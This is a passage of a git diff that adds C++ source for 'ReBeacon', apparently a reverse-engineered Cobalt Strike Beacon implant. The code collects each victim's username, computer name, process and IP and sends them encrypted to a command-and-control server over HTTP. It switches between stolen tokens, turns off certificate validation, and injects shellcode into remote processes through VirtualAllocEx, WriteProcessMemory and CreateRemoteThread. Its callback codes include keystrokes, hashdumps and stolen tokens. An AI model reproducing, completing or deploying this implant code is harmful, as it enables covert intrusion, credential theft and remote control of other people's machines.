sizeof(Buffer)); + BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 1024, + "%s%s\r\n", + beaconhttprequest->httpHeaders, + Buffer); + memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 0x400u); + continue; + } + + + case 11: + { + int size = NetBIOS_Encode( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 'A', + (char*)beaconhttprequest->encrypt_Metadata_Ptr, + Size, + beaconhttprequest->encrypt_Metadata_size); + Size = size; + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size); + continue; + } + + + case 12: + { + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 1024, + "%s%s", + beaconhttprequest->httpGetUrl, + beaconhttprequest->encrypt_Metadata_Ptr); + memcpy(beaconhttprequest->httpGetUrl, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + continue; + } + + + case 13: + { + unsigned long outsize = beaconhttprequest->encrypt_Metadata_size; + if (base64url_encode(beaconhttprequest->encrypt_Metadata_Ptr, Size, (unsigned char*)beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, &outsize)) + { + return; + } + Size = outsize; + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, outsize); + continue; + return; + } + + case 15: + { + int outsize = xor_encode( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + Size, + beaconhttprequest->encrypt_Metadata_Ptr, + beaconhttprequest->encrypt_Metadata_size); // xor + Size = outsize; + memset(beaconhttprequest->encrypt_Metadata_Ptr, 0, beaconhttprequest->encrypt_Metadata_size); + memcpy(beaconhttprequest->encrypt_Metadata_Ptr, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, Size); + continue; + } + + case 16: + { + memset(Buffer, 0, sizeof(Buffer)); + BeaconDataCopyToBuffer(&pdatap, Buffer, 1024); + if (httpHeaderHost && strlen(httpHeaderHost)) + { + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 1024, + "%s%s\r\n", + beaconhttprequest->httpHeaders, + httpHeaderHost); + v30 = 1; + } + else + { + _snprintf( + beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, + 0x400u, + "%s%s\r\n", + beaconhttprequest->httpHeaders, + Buffer); + } + memcpy(beaconhttprequest->httpHeaders, beaconhttprequest->Encoding_Encrypt_Metadata_Ptr, 1024); + continue; + } + + default: + break; + } + } + +} + +int send_Metadata(char* http_get_url, char* Server_Output_Buffer, int server_output_size) +{ + CHAR szObjectName[1024] = { 0 }; + BeaconHttpRequest beaconhttprequest = { 0 }; + + PCTSTR lpszAcceptTypes[] = { "*/*", NULL }; + + BeaconHttpRequestInit(g_Encryption_Metadata_size, &beaconhttprequest); + + _snprintf((char*)beaconhttprequest.httpGetUrl, 1024, "%s", http_get_url); + + char* http_get_client_config = get_str(12);//ȡ + //Լ͵ݰýб + encode_Metadata(http_get_client_config, &beaconhttprequest, g_Encryption_Metadata, g_Encryption_Metadata_size, 0, 0); + + if (&beaconhttprequest.field_1[strlen(beaconhttprequest.field_1) + 1] == beaconhttprequest.field_1 + 1) + { + _snprintf(szObjectName, 1024, "%s", beaconhttprequest.httpGetUrl); + } + else + { + _snprintf(szObjectName, 1024, "%s%s", beaconhttprequest.httpGetUrl, beaconhttprequest.field_1); + } + + + char* verb = get_str(26); //get or post + HINTERNET hRequest = HttpOpenRequestA(g_hConnect, verb, szObjectName, 0, 0, lpszAcceptTypes, g_dwFlags, g_dwContext); + set_http_opt(hRequest); + + // + HttpSendRequestA( + hRequest, + beaconhttprequest.httpHeaders, + strlen(beaconhttprequest.httpHeaders), + beaconhttprequest.HttpOptional, + beaconhttprequest.HttpOptionalLength); + + //ͷڴ + BeaconHttpRequestFree(&beaconhttprequest); + if (!verify_http_200(hRequest)) + { + InternetCloseHandle(hRequest); + return -1; + } + DWORD dwNumberOfBytesAvailable=0; + DWORD dwNumberOfBytesRead = 0; + DWORD size = 0; + // InternetQueryDataAvailable()ѯصݴС + if (InternetQueryDataAvailable(hRequest, &dwNumberOfBytesAvailable, 0, 0) + && dwNumberOfBytesAvailable + && dwNumberOfBytesAvailable < server_output_size) + { + if (!server_output_size) + { + InternetCloseHandle(hRequest); + return 0; + } + do + { + if (!InternetReadFile(hRequest, Server_Output_Buffer + size, 0x1000, &dwNumberOfBytesRead)) + { + break; + } + if (!dwNumberOfBytesRead) + { + break; + } + size += dwNumberOfBytesRead; + + } while (size < server_output_size); + if (size >= server_output_size) + { + InternetCloseHandle(hRequest); + return 0; + } + InternetCloseHandle(hRequest); + char* server_output_config = get_str(11); // .http-get.server.output + //ý + int decode_size = decode_metadata((char*)Server_Output_Buffer, size, server_output_config, server_output_size); + return decode_size; + } + else + { + InternetCloseHandle(hRequest); + return 0; + } + return 0; +} + +/// +/// send_MetadataԪݣؽݴС +/// +/// httpurl +/// +/// +/// +int call_send_Metadata(char* http_get_url, char* Server_Output_Buffer, int server_output_size) +{ + close_token_fake(); + int size = send_Metadata(http_get_url, Server_Output_Buffer, server_output_size); + restore_token_fake(); + return size; +} + +/// +/// beacon ִн +/// +/// +/// +void sned_beacon_data(char *data) +{ + CHAR szObjectName[1024] = { 0 }; + BeaconHttpRequest beaconhttprequest = { 0 }; + + PCTSTR lpszAcceptTypes[] = { "*/*", NULL }; + char DataBuffer[128] = { 0 }; + if (g_withdatasize) + { + BeaconHttpRequestInit(g_withdatasize, &beaconhttprequest); + _snprintf(beaconhttprequest.httpGetUrl, 1024, "%s", g_post_url); + _snprintf(DataBuffer, 0x80u, "%d", beacon_id); + int DataBuffer_size = strlen(DataBuffer); + char* http_post_client_config = get_str(13); // .http-post.client + encode_Metadata(http_post_client_config, &beaconhttprequest, DataBuffer, DataBuffer_size, data, g_withdatasize); + + if (&beaconhttprequest.field_1[strlen(beaconhttprequest.field_1) + 1] == beaconhttprequest.field_1 + 1) + { + _snprintf(szObjectName, 0x400u, "%s", beaconhttprequest.httpGetUrl); + } + else + { + _snprintf(szObjectName, 0x400u, "%s%s", beaconhttprequest.httpGetUrl, beaconhttprequest.field_1); + } + + close_token_fake(); + + int beacon_request_error = 0; + HINTERNET hRequest; + while (true) + { + char* str = get_str(27); + hRequest = HttpOpenRequestA(g_hConnect, str, szObjectName, 0, 0, lpszAcceptTypes, g_dwFlags, g_dwContext); + set_http_opt(hRequest); + + HttpSendRequestA( + hRequest, + beaconhttprequest.httpHeaders, + strlen(beaconhttprequest.httpHeaders), + beaconhttprequest.HttpOptional, + beaconhttprequest.HttpOptionalLength); + + if (verify_http_200(hRequest)) + { + break; + } + InternetCloseHandle(hRequest); + Sleep(500); + if (++beacon_request_error >= 4) + { + BeaconHttpRequestFree(&beaconhttprequest); + g_withdatasize = 0; + restore_token_fake(); + return; + } + } + + InternetCloseHandle(hRequest); + BeaconHttpRequestFree(&beaconhttprequest); + g_withdatasize = 0; + restore_token_fake(); + + } +} +char* gBeaconOutputData; +void sub_10002340(int encrypt_data_len, char* encrypt_data, int delay) +{ + if (!gBeaconOutputData) + { + gBeaconOutputData = (char*)malloc(0x200000); + } + + if (encrypt_data_len + 4 <= 0x200000) + { + if (g_withdatasize + encrypt_data_len + 4 > 0x200000) + { + sned_beacon_data(gBeaconOutputData); + } + *(int*)&gBeaconOutputData[g_withdatasize] = htonl(encrypt_data_len); + memcpy(&gBeaconOutputData[g_withdatasize + 4], encrypt_data, encrypt_data_len);// װݵһintΪݵĴС󸽼Ӽ + g_withdatasize = encrypt_data_len + g_withdatasize + 4; // ´Сڼ+4ֽڵintintǼݵijȣ + if (delay) + { + sned_beacon_data(gBeaconOutputData); + } + } +} + +void sub_10001287(void* data, size_t data_size, int type, int delay) +{ + int out_encrypt_data_len = 0; + // data aesܺHmacժҪ + char* encrypt_data = aes_encrypt_data(data, data_size, type, &out_encrypt_data_len); + if (out_encrypt_data_len) + { + if (g_BeaconStart == 1) + { + sub_10002340(out_encrypt_data_len, encrypt_data, delay); + } + free(encrypt_data); + } +} + + +void sub_10001D10(int data_Size, char* data, int type) +{ + int shouldChunkPosts = get_dword(28); + formatp pformatp; + BeaconFormatAlloc(&pformatp, 2 * shouldChunkPosts); + BeaconFormatInt(&pformatp, data_Size + 4); + BeaconFormatInt(&pformatp, type); + BeaconFormatAppend(&pformatp, data, shouldChunkPosts - 8); + char* pdata1 = &data[shouldChunkPosts - 8]; + int pdata2 = shouldChunkPosts - 8; + int buffer_length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + sub_10001287(buffer, buffer_length, 0x1C, 1); + BeaconFormatFree(&pformatp); + + int v1 = 0; + if (shouldChunkPosts - 8 < data_Size) + { + do + { + v1 = data_Size - pdata2; + if (data_Size - pdata2 > shouldChunkPosts) + { + v1 = shouldChunkPosts; + } + sub_10001287(pdata1, v1, 0x1D, 1); + pdata2 += v1; + pdata1 += v1; + } while (pdata2 < data_Size); + } +} + + +void sub_10001DCD(size_t data_Size, char* data, int type) +{ + if (data_Size <= get_dword(28)) + { + sub_10001287(data, data_Size, type, 1); + } + else + { + sub_10001D10(data_Size, data, type); + } +} + + +/// +/// Beaconִserver +/// +/// +/// +/// +void BeaconTaskOutput(char* data, int len, int type) +{ + if (g_BeaconStart == 1 && get_dword(28))//28ֿʶ + { + sub_10001DCD(len, data, type); + } + else + { + sub_10001287(data, len, type, 0); + } +} + +/// +/// רű +/// +/// +/// +/// +/// +void BeaconTaskErrorOutput(u_long BeaconErrorsType, int err_code_1, u_long err_code_2, char* buffer) +{ + formatp pformatp; + BeaconFormatAlloc(&pformatp, 2048); + BeaconFormatInt(&pformatp, BeaconErrorsType); + BeaconFormatInt(&pformatp, err_code_1); + BeaconFormatInt(&pformatp, err_code_2); + if (buffer) + { + BeaconFormatAppend(&pformatp, buffer, strlen(buffer)); + } + int size = BeaconFormatlength(&pformatp); + char* data = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(data, size, CALLBACK_ERROR); + BeaconFormatFree(&pformatp); +} + +void BeaconTaskError1Output(int BeaconErrorsType, int err_code, char* data) +{ + BeaconTaskErrorOutput(BeaconErrorsType, err_code, 0, data); +} +void BeaconErrorD(int BeaconErrorsType, DWORD error_code) +{ + BeaconTaskErrorOutput(BeaconErrorsType, error_code, 0, 0); +} + +void BeaconErrorNA(int BeaconErrorsType) +{ + BeaconTaskErrorOutput(BeaconErrorsType, 0, 0, 0); +} + +void BeaconErrorDD(int BeaconErrorsType, int err_msg, u_long err_code_msg) +{ + BeaconTaskErrorOutput(BeaconErrorsType, err_msg, err_code_msg, 0); +} + +void BeaconErrorFormat(int BeaconErrorsType, char* Format, ...) +{ + char Buffer[2048]; + va_list ArgList; + + va_start(ArgList, Format); + vsprintf_s(Buffer, 0x800, Format, ArgList); + BeaconTaskErrorOutput(BeaconErrorsType, 0, 0, Buffer); +} diff --git a/ReBeacon_Src/comm.h b/ReBeacon_Src/comm.h new file mode 100644 index 0000000..5d72ab8 --- /dev/null +++ b/ReBeacon_Src/comm.h @@ -0,0 +1,65 @@ +#pragma once +#include "Utils.h" + +#define CALLBACK_OUTPUT 0 +#define CALLBACK_KEYSTROKES 1 +#define CALLBACK_FILE 2 +#define CALLBACK_SCREENSHOT 3 +#define CALLBACK_CLOSE 4 +#define CALLBACK_READ 5 +#define CALLBACK_CONNECT 6 +#define CALLBACK_PING 7 +#define CALLBACK_FILE_WRITE 8 +#define CALLBACK_FILE_CLOSE 9 +#define CALLBACK_PIPE_OPEN 10 +#define CALLBACK_PIPE_CLOSE 11 +#define CALLBACK_PIPE_READ 12 +#define CALLBACK_POST_ERROR 13 +#define CALLBACK_PIPE_PING 14 +#define CALLBACK_TOKEN_STOLEN 15 +#define CALLBACK_TOKEN_GETUID 16 +#define CALLBACK_PROCESS_LIST 17 +#define CALLBACK_POST_REPLAY_ERROR 18 +#define CALLBACK_PWD 19 +#define CALLBACK_JOBS 20 +#define CALLBACK_HASHDUMP 21 +#define CALLBACK_PENDING 22 +#define CALLBACK_ACCEPT 23 +#define CALLBACK_NETVIEW 24 +#define CALLBACK_PORTSCAN 25 +#define CALLBACK_DEAD 26 +#define CALLBACK_SSH_STATUS 27 +#define CALLBACK_CHUNK_ALLOCATE 28 +#define CALLBACK_CHUNK_SEND 29 +#define CALLBACK_OUTPUT_OEM 30 +#define CALLBACK_ERROR 31 +#define CALLBACK_OUTPUT_UTF8 32 + +typedef struct { + char* httpHeaders; /* httpHeaders */ + char* field_1; /* ʱδ֪ */ + char* httpGetUrl; /*http geturl*/ + char* HttpOptional; /* HttpSendRequestA Optionalѡ */ + DWORD HttpOptionalLength; /* OptionalѡС */ + DWORD encrypt_Metadata_size; /*ܺԪݴС*/ + char* encrypt_Metadata_Ptr; /*ָԪݵָ*/ + char* Encoding_Encrypt_Metadata_Ptr; /*c2ñļԪָ*/ + datap* pdatap; +} BeaconHttpRequest; + +extern char* gBeaconOutputData; + +void sned_beacon_data(char* data); + +int call_send_Metadata(char* http_get_url, char* Server_Output_Buffer, int server_output_size); + +void BeaconTaskOutput(char* data, int len, int type); + +void BeaconTaskError1Output(int BeaconErrorsType, int err_code, char* data); + +void BeaconErrorD(int BeaconErrorsType, DWORD error_code); + +void BeaconErrorNA(int BeaconErrorsType); + +void BeaconErrorDD(int BeaconErrorsType, int err_msg, u_long err_code_msg); +void BeaconErrorFormat(int BeaconErrorsType, char* Format, ...); \ No newline at end of file diff --git a/ReBeacon_Src/common.cpp b/ReBeacon_Src/common.cpp new file mode 100644 index 0000000..7311914 --- /dev/null +++ b/ReBeacon_Src/common.cpp @@ -0,0 +1,1393 @@ +#include "common.h" +#include "comm.h" +#include "BeaconInject.h" +#include "Beaconrportfwd.h" + +BOOL X86orX64() +{ +#ifdef _WIN64 + return 1; +#else + return 0; +#endif // _WIN64 +} + +/// +/// жϵͳܹ +/// +/// +/// +int Is_Wow64(HANDLE hProcess) +{ + HMODULE kernel32base; + BOOL(__stdcall * IsWow64Process)(HANDLE, PBOOL); + int result; + int v4 = 0; + kernel32base = GetModuleHandleA("kernel32"); + IsWow64Process = (BOOL(__stdcall*)(HANDLE, PBOOL))GetProcAddress(kernel32base, "IsWow64Process"); + if (!IsWow64Process || (result = IsWow64Process(hProcess, &v4)) != 0) + { + result = v4; + } + return result; +} + +/// +/// жǷǹԱȨ +/// +/// +BOOL is_admin() +{ + struct _SID_IDENTIFIER_AUTHORITY pIdentifierAuthority; + + PSID pSid; + + BOOL IsMember; + + pIdentifierAuthority.Value[0] = 0; + pIdentifierAuthority.Value[1] = 0; + pIdentifierAuthority.Value[2] = 0; + pIdentifierAuthority.Value[3] = 0; + pIdentifierAuthority.Value[4] = 0; + pIdentifierAuthority.Value[5] = 5; + IsMember = AllocateAndInitializeSid(&pIdentifierAuthority, 2u, 0x20u, 0x220u, 0, 0, 0, 0, 0, 0, &pSid); + if (!IsMember) + { + return IsMember; + } + if (!CheckTokenMembership(0, pSid, &IsMember)) + { + IsMember = 0; + } + FreeSid(pSid); + return IsMember; +} + +/// +/// dnsǷ +/// +void init_socket_options() +{ + struct WSAData WSAData; + + + if (init_WSA != 1) // //жǷʼ + { + if (WSAStartup(0x202u, &WSAData) < 0) + { + WSACleanup(); + exit(1); + } + init_WSA = 1; + //csɰ汾 + dns_sleep = get_dword(20); // .dns-beacon.dns_sleep + dns_idle = get_dword(19); // .dns-beacon.dns_idle + dns_get_A = get_str(61); // .dns-beacon.get_A + dns_get_AAAA = get_str(62); // .dns-beacon.get_AAAA + dns_get_TXT = get_str(63); // .dns-beacon.get_TXT + dns_Listeneroptions_dnsresolver = get_str(66);// dnsѡdnsresolver + } +} + + +int get_pc_ip(char* name) +{ + struct hostent* phostent; + char** h_addr_list; + int result; + + + init_socket_options(); + if (!gethostname(name, 256) + && (phostent = gethostbyname(name)) != 0 + && phostent->h_addrtype == AF_INET + && (h_addr_list = phostent->h_addr_list, *h_addr_list)) + { + result = *(DWORD*)*h_addr_list; // ֽIP + } + else + { + result = 0; + } + return result; +} + +/// +/// ȡpcϢ浽Ԫ +/// +/// +void get_pc_info(beaconmetadata* pmetadata) +{ + LPOSVERSIONINFOA lpVersionInformation; + + int Buffer_len; + char* Buffer; + + int hostinfo; + + CHAR* ComputerName; + CHAR* UserName; + char* lpFilename; + const char* ProcessName; + + DWORD BufferSize; + datap* pdatap; + + pdatap = (datap*)BeaconDataInit(0x494); + lpVersionInformation = (LPOSVERSIONINFOA)BeaconDataPtr(pdatap, 148); + Buffer = (char*)BeaconDataPtr(pdatap, 256); + ComputerName = (char*)BeaconDataPtr(pdatap, 256); + UserName = (char*)BeaconDataPtr(pdatap, 256); + lpFilename = (char*)BeaconDataPtr(pdatap, 256); + + BufferSize = 256; + GetUserNameA(UserName, &BufferSize); + BufferSize = 256; + GetComputerNameA(ComputerName, &BufferSize); + hostinfo = get_pc_ip(lpFilename); + + char* temp; + if (!GetModuleFileNameA(0, lpFilename, 0x100) + || (temp = strrchr(lpFilename, 92)) == 0 + || (ProcessName = temp + 1, temp == (char*)-1)) + { + ProcessName = ""; + } + lpVersionInformation->dwOSVersionInfoSize = 148; + GetVersionExA(lpVersionInformation); + g_dwMajorVersion = lpVersionInformation->dwMajorVersion; + BeaconMetadataPush_1(g_dwMajorVersion, pmetadata); + BeaconMetadataPush_1(lpVersionInformation->dwMinorVersion, pmetadata); + BeaconMetadataPush_2(LOWORD(lpVersionInformation->dwBuildNumber), pmetadata); +#ifdef _WIN64 + uint64 p = (ULONG64)GetProcAddress; + BeaconMetadataPush_4(HIDWORD(p),pmetadata); + BeaconMetadataPush_4((u_long)GetModuleHandleA, pmetadata); + BeaconMetadataPush_4((u_long)GetProcAddress, pmetadata);// ѺҪĺַҲ +#else + BeaconMetadataPush_4(0, pmetadata); + BeaconMetadataPush_4((ULONG)GetModuleHandleA, pmetadata); + BeaconMetadataPush_4((ULONG)GetProcAddress, pmetadata);// ѺҪĺַҲ +#endif // _WIN64 + + + BeaconMetadataPush_4(hostinfo, pmetadata); + + _snprintf(Buffer, 0x100, "%s\t%s\t%s", ComputerName, UserName, ProcessName);// û + Buffer_len = strlen(Buffer); + if (Buffer_len > 58) + { + Buffer_len = 58; // ܳ58ֽ + } + + BeaconMetadataPush_N(Buffer_len, pmetadata, Buffer); + BeaconDataFree(pdatap); +} + +/// +/// ȫbeaconTokenHandle +/// +HANDLE pTokenHandle; + +/// +/// win http flags +/// +DWORD g_dwFlags; + +/// +/// +/// +HINTERNET g_hInternet; + +/// +/// +/// +HINTERNET g_hConnect; + +/// +/// +/// +DWORD_PTR g_dwContext; + +/// +/// رtokenα +/// +void close_token_fake() +{ + if (pTokenHandle) + { + RevertToSelf(); + } +} + +/// +/// tokenα +/// +/// +void restore_token_fake() +{ + if (pTokenHandle) + { + ImpersonateLoggedOnUser(pTokenHandle); + } +} +void set_winit_http(LPCSTR lpszServerName, INTERNET_PORT ServerPort, LPCSTR lpszAgent) +{ + int Proxyset; + HINTERNET hInternet; + HINTERNET hConnect; + char* username_str; + char* password_str; + char* ProxyStrBuffer; + unsigned int username_str_len; + unsigned int password_str_len; + int lpBuffer; + + lpBuffer = 240000; + close_token_fake(); + //0x84400200 INTERNET_FLAG_KEEP_CONNECTION| INTERNET_FLAG_NO_CACHE_WRITE| INTERNET_FLAG_RELOAD| INTERNET_FLAG_NO_UI + //0x84C03200 INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE| INTERNET_FLAG_NO_UI + //0x00800000 INTERNET_FLAG_SECURE + + g_dwFlags = (get_short(1) & 8) != 8 ? 0x84400200 : 0x84C03200; + if (get_short(50) == 1) + { + g_dwFlags |= INTERNET_FLAG_NO_COOKIES; + } + Proxyset = get_short(35); // жǷҪhttp + if (Proxyset) + { + if (!Proxyset - 1) + { + hInternet = InternetOpenA(lpszAgent, INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0); + goto LABEL_8; + } + + if (!Proxyset - 2) + { + hInternet = InternetOpenA(lpszAgent, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0); + goto LABEL_8; + } + if (Proxyset - 2 != 2) + { + goto LABEL_9; + } + } + ProxyStrBuffer = get_str(32); + hInternet = InternetOpenA(lpszAgent, INTERNET_OPEN_TYPE_PROXY, ProxyStrBuffer, 0, 0); +LABEL_8: + g_hInternet = hInternet; +LABEL_9: + InternetSetOptionA(g_hInternet, INTERNET_OPTION_SEND_TIMEOUT, &lpBuffer, 4u); + InternetSetOptionA(g_hInternet, INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT, &lpBuffer, 4u); + hConnect = InternetConnectA(g_hInternet, lpszServerName, ServerPort, 0, 0, INTERNET_SERVICE_HTTP, 0, g_dwContext); + g_hConnect = hConnect; + if (get_short(35) == 4) + { + username_str_len = get_str_config_len(33); + username_str = get_str(33); + InternetSetOptionA(hConnect, INTERNET_OPTION_PROXY_USERNAME, username_str, username_str_len); + password_str_len = get_str_config_len(34); + password_str = get_str(34); + InternetSetOptionA(g_hConnect, INTERNET_OPTION_PROXY_PASSWORD, password_str, password_str_len); + } + + restore_token_fake(); + return; +} + + +void __stdcall fnInternetCallback(HINTERNET hInternet, DWORD_PTR dwContext, DWORD dwInternetStatus, LPVOID lpvStatusInformation, DWORD dwStatusInformationLength) +{ + char* lpszHeaders; + + if (dwInternetStatus == 21) + { + lpszHeaders = get_str(59); + HttpAddRequestHeadersA(hInternet, lpszHeaders, 0xFFFFFFFF, 0x80000000); + } +} + +void set_http_opt(HINTERNET hInternet) +{ + + int Buffer = 0; + //SECURITY_FLAG_IGNORE_CERT_CN_INVALID| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID| SECURITY_FLAG_IGNORE_WRONG_USAGE| SECURITY_FLAG_IGNORE_UNKNOWN_CA| SECURITY_FLAG_IGNORE_REVOCATION + if ((get_short(1) & 8) != 0) + { + DWORD dwBufferLength = 4; + InternetQueryOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &Buffer, &dwBufferLength); + Buffer |= 0x3380u; + InternetSetOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, &Buffer, 4); + } + if (get_str(59)) + { + InternetSetStatusCallback(hInternet, fnInternetCallback); + } +} + +/// +/// жhttp󷵻Ƿɹ +/// +/// +/// +BOOL verify_http_200(HINTERNET hRequest) +{ + BOOL state; + char Buffer[256] = {0}; + DWORD dwBufferLength; + + dwBufferLength = 256; + state = HttpQueryInfoA(hRequest, HTTP_QUERY_STATUS_CODE, Buffer, &dwBufferLength, 0); + if (state) + { + state = atoi(Buffer) == 200; + } + return state; +} + +//************************************ +// Method: isEnableBlockDLL +// FullName: isEnableBlockDLL +// Access: public +// Returns: int +// Qualifier:жǷʹBlockDLLPPID +// Parameter: int PPID +//************************************ +int isPPIDAndBlockDLL(int PPID) +{ + if (PPID) + { + if (gBeaconBlockDLL == 1) + { + return 2; + } + } + else if (!gBeaconBlockDLL) + { + return 0; + } + return 1; +} + +BOOL __cdecl toWideChar(char* lpMultiByteStr, wchar_t* lpWideCharStr, unsigned int max) +{ + unsigned int size; + + size = MultiByteToWideChar(0, 0, lpMultiByteStr, -1, 0, 0); + if (size == -1 || size >= max) + { + return 0; + } + MultiByteToWideChar(0, 0, lpMultiByteStr, -1, lpWideCharStr, max); + return 1; +} + +int is_process_arch(HANDLE hProcess) +{ + HANDLE self_process; + int result; + + if (X86orX64()) + { + return Is_Wow64(hProcess) == 0; + } + self_process = GetCurrentProcess(); + result = Is_Wow64(self_process); + if (result) + { + return Is_Wow64(hProcess) == 0; // 32-bit 64-bit TRUE + // ret FALSE + } + return result; // 64-bit 64-bit FALSE + // 32-bit 32-bit FALSE + // ret TRUE +} + + _PROC_THREAD_ATTRIBUTE_LIST* CreateProcessAttributeList(DWORD dwAttributeCount) +{ + + ULONG_PTR Size = 0; + InitializeProcThreadAttributeList(0, dwAttributeCount, 0, &Size); + _PROC_THREAD_ATTRIBUTE_LIST* lpAttributeList = (_PROC_THREAD_ATTRIBUTE_LIST*)HeapAlloc(GetProcessHeap(), 0, Size); + if (lpAttributeList && InitializeProcThreadAttributeList(lpAttributeList, dwAttributeCount, 0, &Size)) + { + return lpAttributeList; + } + else + { + return 0; + } +} + +void BeaconcloseHandle(BeaconCreateprocess* pBeaconCreateprocess) +{ + CloseHandle(pBeaconCreateprocess->process); +} + +void BeaconSetErrorMode(BeaconCreateprocess* pBeaconCreateprocess) +{ + SetErrorMode(pBeaconCreateprocess->SetErrorMode_value); +} + +void BeaconcloseAllHandle(_PROCESS_INFORMATION* pi) +{ + if (pi->hProcess != (HANDLE)-1 && pi->hProcess) + { + CloseHandle(pi->hProcess); + } + if (pi->hThread != (HANDLE)-1) + { + if (pi->hThread) + { + CloseHandle(pi->hThread); + } + } +} + +BOOL BeaconCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter) +{ + return CreateRemoteThread(hProcess, 0, 0, lpStartAddress, lpParameter, 0, 0) != 0; +} + +BOOL BeaconCreateThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter) +{ + return CreateThread(0, 0, lpStartAddress, lpParameter, 0, 0) != 0; +} + +BOOL BeaconRtlCreateUserThread(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter) +{ + auto ntdllbase = GetModuleHandleA("ntdll.dll"); + RtlCreateUserThread_t RtlCreateUserThread = (RtlCreateUserThread_t)GetProcAddress(ntdllbase, "RtlCreateUserThread"); + if (!RtlCreateUserThread) + { + return 0; + } + HANDLE ThreadHandle; + CLIENT_ID pCLIENT_ID; + RtlCreateUserThread(hProcess, 0, 0, 0, 0, 0, BaseAddress, lpParameter, &ThreadHandle, &pCLIENT_ID); + return ThreadHandle != 0; +} + +#pragma pack(1) +typedef struct { + char field_0[sizeof(sub_10033070)]; + HANDLE hProcess; + DWORD field_12D; + PVOID StartAddress; + DWORD field_135; + PVOID lpParameter; + DWORD field_13D; + HANDLE hThread; + DWORD field_145; +}BeaconShellcode; +#pragma pack() + +int sub_1000535D(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter) +{ + + OSVERSIONINFOA VersionInformation = { 0 }; + VersionInformation.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA); + if (!GetVersionExA(&VersionInformation)) + { + return 0; + } + if (VersionInformation.dwMajorVersion == 5 && VersionInformation.dwMinorVersion == 2) + { + SetLastError(5); + return 0; + } + char* lpAddress = (char*)VirtualAlloc(0, sizeof(sub_10033020), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!lpAddress) + { + return 0; + } + BeaconShellcode* lpAddress2 = (BeaconShellcode*)VirtualAlloc(0, sizeof(BeaconShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (!lpAddress2) + { + VirtualFree(lpAddress, 0, MEM_RELEASE); + return 0; + } + memcpy(lpAddress, sub_10033020, sizeof(sub_10033020)); + memcpy(lpAddress2, sub_10033070, sizeof(sub_10033070)); + + lpAddress2->hThread = 0; + lpAddress2->hProcess = hProcess; + lpAddress2->StartAddress = BaseAddress; + lpAddress2->lpParameter = lpParameter; + if (!((int(__stdcall*)(BeaconShellcode*, HANDLE*))lpAddress)(lpAddress2, &lpAddress2->hProcess)) + { + VirtualFree(lpAddress, 0, MEM_RELEASE); + VirtualFree(lpAddress2, 0, MEM_RELEASE); + SetLastError(5); + return 0; + } + if (!lpAddress2->hThread) + { + VirtualFree(lpAddress, 0, MEM_RELEASE); + VirtualFree(lpAddress2, 0, MEM_RELEASE); + SetLastError(6); + return 0; + } + ResumeThread(lpAddress2->hThread); + VirtualFree(lpAddress, 0, MEM_RELEASE); + VirtualFree(lpAddress2, 0, MEM_RELEASE); + return 1; +} + +#pragma pack(1) +typedef struct { + PVOID StartAddress; + PVOID lpParameter; + CreateThread_t pCreateThread; + DWORD field_C; +}BeaconShellcodeinjec; +#pragma pack() + +//⺯ shellcode +void __stdcall sub_10004D1D(BeaconShellcodeinjec* pBeaconShellcodeinjec) +{ + + if (!pBeaconShellcodeinjec->field_C) + { + _TEB* teb = (_TEB*)NtCurrentTeb(); + pBeaconShellcodeinjec->field_C = 1; + if (teb->ActivationContextStackPointer) + { + pBeaconShellcodeinjec->pCreateThread( + NULL, + NULL, + (LPTHREAD_START_ROUTINE)pBeaconShellcodeinjec->StartAddress, + pBeaconShellcodeinjec->lpParameter, + NULL, + NULL); + } + else + { + pBeaconShellcodeinjec->field_C = 0; + } + } +} + +void* sub_10004D53(HANDLE hProcess, int pid, BeaconShellcodeinjec* pBeaconShellcodeinjec) +{ + //עshellcode + char* pshellcode = (char*)malloc((char*)sub_10004D53 - (char*)sub_10004D1D + sizeof(BeaconShellcodeinjec)); + + memcpy((char*)pshellcode + sizeof(BeaconShellcodeinjec), sub_10004D1D, (char*)sub_10004D53 - (char*)sub_10004D1D); + int shellcode_size = (char*)sub_10004D53 - (char*)sub_10004D1D + sizeof(BeaconShellcodeinjec); + char* pshellcodeAddress = (char*)VirtualAllocEx(hProcess, 0, shellcode_size, MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + SIZE_T NumberOfBytesWritten = 0; + if ( pshellcodeAddress + && + WriteProcessMemory(hProcess, pshellcodeAddress, pshellcode, shellcode_size, &NumberOfBytesWritten) + && + 